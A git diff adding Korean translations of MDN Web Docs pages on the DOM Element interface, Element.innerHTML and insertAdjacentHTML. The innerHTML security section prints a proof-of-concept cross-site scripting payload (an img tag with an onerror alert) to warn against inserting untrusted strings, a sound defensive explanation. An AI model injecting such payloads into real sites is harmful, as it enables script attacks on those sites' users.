+ <p><strong>참고:</strong> Firefox 3.5 이하에서는 HTML 요소가 네임스페이스에 속해있지 않습니다. 이후 버전에서는 HTML과 XML 트리 모두에서 <code><a href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> 네임스페이스를 사용합니다. {{ gecko_minversion_inline("1.9.2") }}</p>
+ </div>
+ </dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.nextElementSibling") }} {{readOnlyInline}}</dt>
+ <dd>Is an {{ domxref("Element") }}, the element immediately following the given one in the tree, or <code>null</code> if there's no sibling node.</dd>
+ <dt>{{ domxref("Element.outerHTML") }}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the markup of the element including its content. When used as a setter, replaces the element with nodes parsed from the given string.</dd>
+ <dt>{{ domxref("Element.prefix") }} {{readOnlyInline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the namespace prefix of the element, or <code>null</code> if no prefix is specified.</dd>
+ <dt>{{ domxref("NonDocumentTypeChildNode.previousElementSibling") }} {{readOnlyInline}}</dt>
+ <dd>Is a {{ domxref("Element") }}, the element immediately preceding the given one in the tree, or <code>null</code> if there is no sibling element.</dd>
+ <dt>{{ domxref("Element.scrollHeight") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view height of an element.</dd>
+ <dt>{{ domxref("Element.scrollLeft") }}</dt>
+ <dd>Is a {{jsxref("Number")}} representing the left scroll offset of the element.</dd>
+ <dt>{{ domxref("Element.scrollLeftMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum left scroll offset possible for the element.</dd>
+ <dt>{{ domxref("Element.scrollTop") }}</dt>
+ <dd>A {{jsxref("Number")}} representing number of pixels the top of the document is scrolled vertically.</dd>
+ <dt>{{ domxref("Element.scrollTopMax") }} {{non-standard_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the maximum top scroll offset possible for the element.</dd>
+ <dt>{{ domxref("Element.scrollWidth") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("Number")}} representing the scroll view width of the element.</dd>
+ <dt>{{domxref("Element.shadowRoot") }}{{readOnlyInline}}</dt>
+ <dd>Returns the open shadow root that is hosted by the element, or null if no open shadow root is present.</dd>
+ <dt>{{domxref("Element.openOrClosedShadowRoot")}} {{non-standard_inline}}{{readOnlyInline}}</dt>
+ <dd>Returns the shadow root that is hosted by the element, regardless if its open or closed. <strong>Available only to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+ <dt>{{domxref("Element.slot")}} {{experimental_inline}}</dt>
+ <dd>Returns the name of the shadow DOM slot the element is inserted in.</dd>
+ <dt>{{domxref("Element.tabStop")}} {{non-standard_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can receive input focus via the tab key.</dd>
+ <dt>{{ domxref("Element.tagName") }} {{readOnlyInline}}</dt>
+ <dd>Returns a {{jsxref("String")}} with the name of the tag for the given element.</dd>
+ <dt>{{ domxref("Element.undoManager")}} {{experimental_inline}} {{readOnlyInline}}</dt>
+ <dd>Returns the {{domxref("UndoManager")}} associated with the element.</dd>
+ <dt>{{ domxref("Element.undoScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is an undo scope host, or not.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> DOM Level 3 명세는 <code>namespaceURI</code>, <code>localName</code>, <code>prefix</code>를 {{domxref("Node")}}에 정의했고, DOM4에서 <code>Element</code>로 옮겨졌습니다.</p>
+
+<p>이 변경점은 Chrome 46.0과 Firefox 48.0부터 구현됐습니다.</p>
+</div>
+
+<h3 id="Slotable_속성"><code>Slotable</code> 속성</h3>
+
+<p><em><code>Element</code> 인터페이스는 {{domxref("Slotable")}} 믹스인에 정의된 다음 속성을 가집니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("HTMLSlotElement")}} representing the {{htmlelement("slot")}} the node is inserted in.</dd>
+</dl>
+
+<h3 id="Handlers" name="Handlers">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("Element.ongotpointercapture")}}</dt>
+ <dd>Returns the event handler for the {{event("gotpointercapture")}} event type.</dd>
+ <dt>{{domxref("Element.onlostpointercapture")}}</dt>
+ <dd>Returns the event handler for the {{event("lostpointercapture")}} event type.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em>부모 인터페이스인 {{domxref("Node")}}와 그 부모인 {{domxref("EventTarget")}}의 메서드를 상속합니다. {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, {{domxref("NonDocumentTypeChildNode")}}와 {{domxref("Animatable")}}의 메서드를 구현합니다.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Registers an event handler to a specific event type on the element.</dd>
+ <dt>{{domxref("Element.attachShadow()")}}</dt>
+ <dd>Attatches a shadow DOM tree to the specified element and returns a reference to its {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{domxref("Element.animate()")}} {{experimental_inline}}</dt>
+ <dd>A shortcut method to create and run an animation on an element. Returns the created Animation object instance.</dd>
+ <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt>
+ <dd>Returns the {{domxref("Element")}} which is the closest ancestor of the current element (or the current element itself) which matches the selectors given in parameter.</dd>
+ <dt>{{ domxref("Element.createShadowRoot()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Creates a <a href="https://developer.mozilla.org/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> on on the element, turning it into a shadow host. Returns a {{domxref("ShadowRoot")}}.</dd>
+ <dt>{{domxref("Element.computedStyleMap()")}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("StylePropertyMapReadOnly")}} interface which provides a read-only representation of a CSS declaration block that is an alternative to {{domxref("CSSStyleDeclaration")}}.</dd>
+ <dt>{{ domxref("EventTarget.dispatchEvent()") }}</dt>
+ <dd>Dispatches an event to this node in the DOM and returns a {{jsxref("Boolean")}} that indicates whether no handler canceled the event.</dd>
+ <dt>{{domxref("Element.getAnimations()")}} {{experimental_inline}}</dt>
+ <dd>Returns an array of Animation objects currently active on the element.</dd>
+ <dt>{{ domxref("Element.getAttribute()") }}</dt>
+ <dd>Retrieves the value of the named attribute from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNames()") }}</dt>
+ <dd>Returns an array of attribute names from the current element.</dd>
+ <dt>{{ domxref("Element.getAttributeNS()") }}</dt>
+ <dd>Retrieves the value of the attribute with the specified name and namespace, from the current node and returns it as an {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getBoundingClientRect()") }}</dt>
+ <dd>Returns the size of an element and its position relative to the viewport.</dd>
+ <dt>{{ domxref("Element.getClientRects()") }}</dt>
+ <dd>Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.</dd>
+ <dt>{{ domxref("Element.getElementsByClassName()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} that contains all descendants of the current element that possess the list of classes given in the parameter.</dd>
+ <dt>{{ domxref("Element.getElementsByTagName()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name, from the current element.</dd>
+ <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt>
+ <dd>Returns a live {{ domxref("HTMLCollection") }} containing all descendant elements, of a particular tag name and namespace, from the current element.</dd>
+ <dt>{{ domxref("Element.hasAttribute()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute or not.</dd>
+ <dt>{{ domxref("Element.hasAttributeNS()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has the specified attribute, in the specified namespace, or not.</dd>
+ <dt>{{ domxref("Element.hasAttributes()") }}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has one or more HTML attributes present.</dd>
+ <dt>{{DOMxRef("Element.hasPointerCapture()")}}</dt>
+ <dd>Indicates whether the element on which it is invoked has pointer capture for the pointer identified by the given pointer ID.</dd>
+ <dt>{{ domxref("Element.insertAdjacentElement()") }}</dt>
+ <dd>Inserts a given element node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{ domxref("Element.insertAdjacentHTML()") }}</dt>
+ <dd>Parses the text as HTML or XML and inserts the resulting nodes into the tree in the position given.</dd>
+ <dt>{{ domxref("Element.insertAdjacentText()") }}</dt>
+ <dd>Inserts a given text node at a given position relative to the element it is invoked upon.</dd>
+ <dt>{{ domxref("Element.matches()") }} {{experimental_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating whether or not the element would be selected by the specified selector string.</dd>
+ <dt>{{ domxref("Element.querySelector()") }}</dt>
+ <dd>Returns the first {{ domxref("Node") }} which matches the specified selector string relative to the element.</dd>
+ <dt>{{ domxref("Element.querySelectorAll()") }}</dt>
+ <dd>Returns a {{ domxref("NodeList") }} of nodes which match the specified selector string relative to the element.</dd>
+ <dt>{{ domxref("Element.releasePointerCapture()")}}</dt>
+ <dd>Releases (stops) pointer capture that was previously set for a specific {{domxref("PointerEvent","pointer event")}}.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Removes the element from the children list of its parent.</dd>
+ <dt>{{ domxref("Element.removeAttribute()") }}</dt>
+ <dd>Removes the named attribute from the current node.</dd>
+ <dt>{{ domxref("Element.removeAttributeNS()") }}</dt>
+ <dd>Removes the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Removes an event listener from the element.</dd>
+ <dt>{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}</dt>
+ <dd>Asynchronously asks the browser to make the element full-screen.</dd>
+ <dt>{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Allows to asynchronously ask for the pointer to be locked on the given element.</dd>
+ <dt>{{domxref("Element.scroll()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates inside a given element.</dd>
+ <dt>{{domxref("Element.scrollBy()")}}</dt>
+ <dd>Scrolls an element by the given amount.</dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt>
+ <dd>Scrolls the page until the element gets into the view.</dd>
+ <dt>{{ domxref("Element.scrollTo()") }}</dt>
+ <dd>Scrolls to a particular set of coordinates inside a given element.</dd>
+ <dt>{{ domxref("Element.setAttribute()") }}</dt>
+ <dd>Sets the value of a named attribute of the current node.</dd>
+ <dt>{{ domxref("Element.setAttributeNS()") }}</dt>
+ <dd>Sets the value of the attribute with the specified name and namespace, from the current node.</dd>
+ <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt>
+ <dd>Sets up mouse event capture, redirecting all mouse events to this element.</dd>
+ <dt>{{domxref("Element.setPointerCapture()")}}</dt>
+ <dd>Designates a specific element as the capture target of future <a href="https://developer.mozilla.org/en-US/docs/Web/API/Pointer_events">pointer events</a>.</dd>
+ <dt>{{domxref("Element.toggleAttribute()")}}</dt>
+ <dd>Toggles a boolean attribute, removing it if it is present and adding it if it is not present, on the specified element.</dd>
+</dl>
+
+<p> </p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Animations", '', '')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Added the <code>getAnimationPlayers()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+   <td>{{Spec2('Undo Manager')}}</td>
+   <td>Added the <code>undoScope</code> and <code>undoManager</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Added the following event handlers: <code>ongotpointercapture</code> and <code>onlostpointercapture</code>.<br>
+    Added the following methods: <code>setPointerCapture()</code> and <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Added the following methods:<code> matches()</code> (implemented as <code>mozMatchesSelector()</code>), <code>find()</code>, <code>findAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Added the following methods: <code>querySelector()</code> and <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Added the <code>requestPointerLock()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Added the <code>requestFullscreen()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Added the following properties: <code>innerHTML</code>, and <code>outerHTML</code>.<br>
+    Added the following method: <code>insertAdjacentHTML()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the following properties: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code>, and <code>clientHeight</code>.<br>
+    Added the following methods: <code>getClientRects()</code>, <code>getBoundingClientRect()</code>, and <code>scrollIntoView()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added inheritance of the {{domxref("ElementTraversal")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the following methods: <code>closest()</code>, <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>.<br>
+    Removed the <code>schemaTypeInfo</code> property.<br>
+    Modified the return value of <code>getElementsByTag()</code> and <code>getElementsByTagNS()</code>.<br>
+    Moved <code>hasAttributes()</code> form the <code>Node</code> interface to this one.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Added the following methods: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>. These methods were never implemented and have been removed in later specifications.<br>
+    Added the <code>schemaTypeInfo</code> property. This property was never implemented and has been removed in later specifications.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>The <code>normalize()</code> method has been moved to {{domxref("Node")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element")}}</p>
diff --git a/files/ko/web/api/element/innerhtml/index.html b/files/ko/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..6b9e4ce73c
--- /dev/null
+++ b/files/ko/web/api/element/innerhtml/index.html
@@ -0,0 +1,204 @@
+---
+title: Element.innerHTML
+slug: Web/API/Element/innerHTML
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("Element")}} 속성(property) <strong><code>innerHTML</code></strong> 은 요소(element) 내에 포함 된 HTML 또는 XML 마크업을 가져오거나 설정합니다.</span></p>
+
+<div class="note"><strong>주의: </strong>{{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("noembed")}} 노드가 (&amp;), (&lt;), (&gt;) 문자를 포함하는 텍스트 노드를 자식으로 가지고 있다면, <code>innerHTML</code>은 이러한 문자들을 각각 <code>"&amp;amp;"</code>, <code>"&amp;lt;"</code> ,<code>"&amp;gt;"</code>로 반환합니다. {{domxref("Node.textContent")}}를 사용하여 이러한 텍스트 노드 내용의 원본을 복사할 수 있습니다.</div>
+
+<p>요소(element)의 내용을 변경하는 대신 HTML을 문서(document)에 삽입하려면, {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}} 메서드를 사용하십시오.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">const <var>content</var> = <var>element</var>.innerHTML;
+
+<var>element</var>.innerHTML = <var>htmlString</var>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>요소(element)의 자손의 HTML 직렬화를 포함하는 {{domxref("DOMString")}} 입니다. Setting the value of <code>innerHTML</code> 의 값을 설정(대입)하면 요소의 모든 자손이 제거되고, 문자열 htmlString에 지정된 HTML을 파싱하고, 생성된 노드로 대체합니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>HTML의 양식에 맞지 않는 문자열을 사용하여, <code>innerHTML</code> 의 값을 설정하려는 시도가 있었습니다.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>부모가 {{domxref("Document")}}인 노드에 HTML을 삽입하려고 했습니다.</dd>
+</dl>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<p><code>innerHTML</code> 속성(property)은 페이지가 처음 로드 된 이후의 모든 변경 사항을 포함하여, 페이지의 현재 HTML 소스를 검사하는데 사용할 수 있습니다.</p>
+
+<h3 id="Reading_the_HTML_contents_of_an_element">Reading the HTML contents of an element</h3>
+
+<p><code>innerHTML</code> 를 읽으면 유저 에이전트(user agent)가 요소의 자손으로 구성된 HTML 또는 XML조각을 직렬화 합니다. 그 결과는 문자열로 반환합니다.</p>
+
+<pre class="brush: js">let contents = myElement.innerHTML;</pre>
+
+<p>이를 통해 요소의 컨텐트 노드에 대한 HTML 마크업을 볼 수 있습니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 반환 된 HTML, XML 파편은 요소의 현재 내용일 기반으로 생성됩니다. 따라서 반환 된 마크업과 양식이 본래의 페이지 마크업과 일치하지 않을 수 있습니다.</p>
+</div>
+
+<h3 id="Replacing_the_contents_of_an_element">Replacing the contents of an element</h3>
+
+<p><code>innerHTML</code> 값을 설정하면 요소의 기존 내용(content)을 새 내용으로 쉽게 변경할 수 있습니다.</p>
+
+<p>예를 들어, 문서(document)의 {{domxref("Document.body", "body")}} 속성(attribute)을 지우면, 문서의 전체 내용을 지울 수 있습니다.</p>
+
+<pre class="brush: js">document.body.innerHTML = "";</pre>
+
+<p>이 예제는 문서의 현재 HTML 마크업을 가져오고, <code>"&lt;"</code> 문자를 HTML 엔터티 <code>"&amp;lt;"</code> 로 대체하합니다. 그러면 HTML을 원시 텍스트(raw text - 파싱 이전의 모습)로 반환합니다. 이것을 {{HTMLElement("pre")}} 요소로 래핑합니다. 그러면 <code>innerHTML</code> 값은 새 문자열로 변경됩니다. 그 결과, 문서의 내용은 페이지의 전체 소스 코드의 출력으로 대체됩니다.</p>
+
+<pre class="brush: js">document.documentElement.innerHTML = "&lt;pre&gt;" +
+         document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") +
+            "&lt;/pre&gt;";</pre>
+
+<h4 id="Operational_details">Operational details</h4>
+
+<p><code>innerHTML</code> 값을 설정할 때, 정확히 어떤 일이 발생하나요? 값을 설정하면, 유저 에이전트는 다음 단계를 따르게 됩니다.</p>
+
+<ol>
+ <li>지정한 값은 HTML 또는 XML(문서 타입에 따라)로 파싱되어, {{domxref("DocumentFragment")}} 객체가 새 요소에 대한 새로운 노드 DOM 노드 집합을 나타냅니다.</li>
+ <li>내용이 대체되는 요소가 {{HTMLElement("template")}} 요소 인 경우, <code>&lt;template&gt;</code> 요소의 {{domxref("HTMLTemplateElement.content", "content")}} 속성(attribute)은 1단계에서 작성한 새  <code>DocumentFragment</code> 로 대체됩니다.</li>
+ <li>다른 모든 요소의 경우, 요소의 내용은 새 <code>DocumentFragment</code> 의 노드로 대체됩니다.</li>
+</ol>
+
+<h3 id="Security_considerations">Security considerations</h3>
+
+<p><code>innerHTML</code> 이 웹 페이지에 텍스트를 삽입하는데 사용되는 것은 종종 볼 수 있습니다. 이것은 사이트의 공격 경로가 되어 잠재적인 보안 위험이 발생할 수 있습니다.</p>
+
+<pre class="brush: js">const name = "John";
+// assuming 'el' is an HTML DOM element
+el.innerHTML = name; // harmless in this case
+
+// ...
+
+name = "&lt;script&gt;alert('I am John in an annoying alert!')&lt;/script&gt;";
+el.innerHTML = name; // harmless in this case</pre>
+
+<p>이것은 {{interwiki("wikipedia", "cross-site scripting")}} 공격처럼 보일 수 있지만, 결과는 무해합니다. HTML5 는 <code>innerHTML</code> 과 함께 삽입된 {{HTMLElement("script")}} 태그가 <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">실행되지 않도록 </a>지정합니다.</p>
+
+<p>그러나 {{HTMLElement("script")}} 요소를 사용하지 않고, 자바스크립트를 실행하는 방법이 있으므로, <code>innerHTML</code> 을 사용하여 제어할 수 없는 문자열을 설정할 때 마다 여전히 보안위험이 있습니다. 예를들어:</p>
+
+<pre class="brush: js">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // shows the alert</pre>
+
+<p>따라서 일반 텍스트를 삽입 할 때는 <code>innerHTML</code> 을 사용하지 않는 것이 좋습니다. 대신  {{domxref("Node.textContent")}}를 사용하십시오. 이것은 전달 된 내용을 HTML로 파싱하지 않고 원시 텍스트(raw text)로 삽입합니다.</p>
+
+<div class="warning">
+<p><strong>경고:</strong> 프로젝트가 보안 점검을 거치게 되는 프로젝트인 경우, <code>innerHTML</code> 을 사용하면 코드가 거부 될 가능성이 높습니다. 예를 들어, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">브라우저 확장</a>에서  <a href="https://wiki.mozilla.org/Add-ons/Reviewers/Guide/Reviewing#Step_2:_Automatic_validation"><code>innerHTML</code>을 사용하고</a> <a href="https://addons.mozilla.org/">addons.mozilla.org</a>에 확장을 제출하면 자동 검토 프로세스를 통과하지 못합니다.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>이 예제에서는 <code>innerHTML</code> 을 사용하여 메시지를 웹 페이지의 상자에 기록하는 매커니즘을 만듭니다.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "&lt;br/&gt;";
+}
+
+log("Logging mouse events inside this container...");
+</pre>
+
+<p><code>log()</code> 함수는 {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}을 사용하여 {{jsxref("Date")}} 객체에서 현재 시간을 가져 오고, 타임 스탬프와 메시지 텍스트가 있는 문자열을 작성하여 로그 출력을 만듭니다. 그런 다음 메시지는 클래스 <code>"log"</code>가 있는 상자에 추가됩니다.</p>
+
+<p>{{domxref("MouseEvent")}} 기반 이벤트 ({{event("mousedown")}}, {{event("click")}}, {{event("mouseenter")}}와 같은) 정보를 기록하는 두 번째 메서드를 추가합니다:</p>
+
+<pre class="brush: js">function logEvent(event) {
+  var msg = "Event &lt;strong&gt;" + event.type + "&lt;/strong&gt; at &lt;em&gt;" +
+            event.clientX + ", " + event.clientY + "&lt;/em&gt;";
+  log(msg);
+}</pre>
+
+<p>그리고나서, 우리의 로그가 들어있는 상자에 여러 마우스 이벤트에 대한 이벤트 핸들러로 사용합니다.</p>
+
+<pre class="brush: js">var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML은 우리의 예제에서 아주 간단합니다.</p>
+
+<pre class="brush: html">&lt;div class="box"&gt;
+  &lt;div&gt;&lt;strong&gt;Log:&lt;/strong&gt;&lt;/div&gt;
+  &lt;div class="log"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>클래스 <code>"box"</code>를 갖는 {{HTMLElement("div")}} 는 레이아웃을 위한 컨테이너 입니다. class가 <code>"log"</code> 인 <code>&lt;div&gt;</code> 는 로그 텍스트 자체의 컨테이너 입니다.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>다음 CSS는 우리의 예제 내용을 꾸밉니다.</p>
+
+<pre class="brush: css">.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>결과 컨텐츠는 다음과 같습니다. 마우스를 상자 안팎으로 움직이거나 클릭하고 로그에서 출력을 볼 수 있습니다.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 350)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#dom-element-innerhtml', 'Element.innerHTML')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Element.innerHTML")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.textContent")}} 과 {{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>DOM 트리에 HTML 파싱하기: {{domxref("DOMParser")}}</li>
+ <li>XML 또는 HTML을 DOM 트리로 직렬화 하기: {{domxref("XMLSerializer")}}</li>
+</ul>
diff --git a/files/ko/web/api/element/insertadjacenthtml/index.html b/files/ko/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..7b1cb1d4e5
--- /dev/null
+++ b/files/ko/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,79 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>insertAdjacentHTML()</code></strong> 메서드는 HTML or XML 같은 특정 텍스트를 파싱하고, 특정 위치에 DOM tree 안에 원하는 node들을 추가 한다.  이미 사용중인 element 는 다시 파싱하지 않는다. 그러므로 element 안에 존재하는 element를 건드리지 않는다. (innerHtml은 과 좀 다름). innerHtml보다 작업이 덜 드므로 빠르다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre><em>element</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<p><font face="Courier, Andale Mono, monospace">position은 아래 있는 단어만 사용 가능하다.</font></p>
+
+<dl>
+ <dt><code style="color: red;">'beforebegin'</code></dt>
+ <dd>element 앞에 </dd>
+ <dt><code style="color: green;">'afterbegin'</code></dt>
+ <dd>element 안에 가장 첫번째 child</dd>
+ <dt><code style="color: blue;">'beforeend'</code></dt>
+ <dd>element 안에 가장 마지막 child</dd>
+ <dt><code style="color: magenta;">'afterend'</code></dt>
+ <dd>element 뒤에</dd>
+</dl>
+
+<p><code>text(인자)는 HTML 또는 XML로 해석될 수 있는 문자열이고(html code), (DOM) tree에 삽입할 수 있다.</code></p>
+
+<h3 id="position_의_예시_그림">position 의 예시 그림</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Note:</strong>  <code>beforebegin</code> , <code>afterend position은 element의 부모가 존재해야 하고, node가 tree 안에 있어야 한다.</code></div>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// At this point, the new structure is:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
